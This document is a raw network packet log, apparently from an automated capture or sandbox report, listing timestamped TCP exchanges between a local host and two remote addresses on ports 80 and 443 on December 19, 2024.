Dec 19, 2024 07:57:03.678281069 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.679058075 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.679168940 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.679214954 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.680000067 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.680111885 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.680160046 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.680941105 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.680985928 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.681054115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.681895018 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.681942940 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.681987047 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.682826996 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.682833910 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.682921886 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.682970047 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.683790922 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.683897018 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.683943987 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.684724092 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.684835911 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.684844017 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.685666084 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.685714960 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.685775995 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.686600924 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.686650991 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.686717033 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.686763048 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.687542915 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.687649965 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.687695980 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.688486099 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.688597918 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.688698053 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.689428091 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.689474106 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.689517975 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.690407038 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.690450907 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.690478086 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.690830946 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.691318035 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.691459894 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.691504955 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.692259073 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.692374945 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.692423105 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.693197012 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.693276882 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.693310022 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.694138050 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.694181919 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.694246054 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.694832087 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.695091963 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.695198059 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.695242882 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.696038008 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.696091890 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.696137905 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.724023104 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.724087000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.724092960 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.724138021 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.724479914 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.724533081 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.724565983 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.724642038 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.725435972 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.725564957 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.725619078 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.726368904 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.726454973 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.726502895 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.727325916 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.727428913 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.727474928 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.728259087 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.728303909 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.728348970 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.728853941 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.729178905 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.729294062 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.729386091 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.730134010 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.730205059 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.730254889 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.730429888 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.731085062 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.731178999 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.731182098 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.731235981 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.732031107 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.732085943 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.732126951 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.732201099 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.791603088 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.791747093 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.791850090 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.792056084 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.792172909 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.792227030 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.792979956 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.793035030 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.793090105 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.793942928 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.793998003 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.794039965 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.794832945 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.794913054 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.794996977 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.795047045 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.795835018 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.795950890 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.796014071 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.796787977 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.796931982 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.796993971 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.797705889 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.797863007 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.797933102 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.798702955 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.798845053 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.798880100 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.799645901 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.799707890 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.799717903 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.802848101 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.858572960 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.858613968 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.858674049 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.858674049 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.858804941 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.858855963 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.858985901 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.859061956 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.859724045 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.859838963 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.859860897 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.859891891 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.860688925 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.860754967 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.860790014 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.861603022 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.861656904 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.861716986 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.862555981 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.862608910 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.862657070 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.862719059 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.863507986 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.863564968 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.863639116 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.863684893 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.864470005 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.864527941 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.864557028 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.864618063 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.865406036 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.865456104 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.865494967 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.865544081 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.866336107 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.866390944 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.866445065 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.866508961 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.867278099 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.867346048 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.867412090 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.867455959 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.868201017 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.868257999 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.868275881 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.868316889 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.869158983 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.869219065 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.869256020 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.869303942 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.870088100 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.870141983 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.870194912 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.870245934 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.871042967 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.871141911 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.871145010 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.871205091 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.871983051 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.872086048 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.872111082 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.872137070 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.872924089 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.872986078 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.873056889 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.873114109 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.873903036 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.873959064 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.873985052 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.874037027 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.874814034 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.874870062 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.874919891 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.874984980 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.875828028 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.875886917 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.875922918 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.875993013 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.876734018 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.876799107 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.876831055 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.876884937 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.877641916 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.877695084 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.877737999 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.877789021 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.878601074 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.878665924 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.878704071 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.878748894 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.879548073 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.879604101 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.879651070 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.879703999 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.880497932 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.880552053 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.880599022 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.880665064 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.881406069 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.881474018 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.881511927 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.881561995 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.882348061 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.882394075 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.882409096 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.882477999 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.883294106 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.883399963 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.883403063 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.883517981 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.884243011 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.884299040 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.884351969 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.884406090 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.885236979 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.885298967 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.885370016 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.885451078 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.886143923 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.886200905 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.886262894 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.886317968 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.887098074 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.887197018 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.887211084 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.887275934 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.888027906 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.888132095 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.888184071 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.888925076 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.890852928 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:07.570725918 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:07.570806026 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:08.262770891 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.262825012 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:08.262896061 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263082981 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263123989 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:08.263169050 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263245106 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263252974 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:08.263294935 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263571978 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263582945 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:08.263742924 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263753891 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:08.263879061 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.263885975 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:08.322632074 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.322696924 CET	443	49752	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:08.322794914 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.325498104 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:08.325515985 CET	443	49752	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.958062887 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.962627888 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.964745998 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.964765072 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.965912104 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.965933084 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.965950012 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.966204882 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.966304064 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.966722965 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.966737986 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.966963053 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.967017889 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.968019962 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.968074083 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.987623930 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.987763882 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.988720894 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.988837004 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.988873959 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.988970041 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.989128113 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.989145041 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.989495039 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.989509106 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:09.989603996 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:09.989619017 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.018357992 CET	443	49752	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.022255898 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.022269011 CET	443	49752	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.023741961 CET	443	49752	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.023813009 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.024250031 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.024502039 CET	443	49752	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.036195040 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.036210060 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.036211014 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.067511082 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.067523003 CET	443	49752	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.114357948 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.795823097 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.796030045 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.796257973 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.797528982 CET	49751	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.797553062 CET	443	49751	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.802402973 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.802450895 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.802486897 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.802510977 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.802556038 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.802581072 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.802624941 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.803438902 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.803582907 CET	443	49749	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.803956032 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.804677963 CET	49749	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.804697037 CET	443	49749	172.217.19.228	192.168.2.4
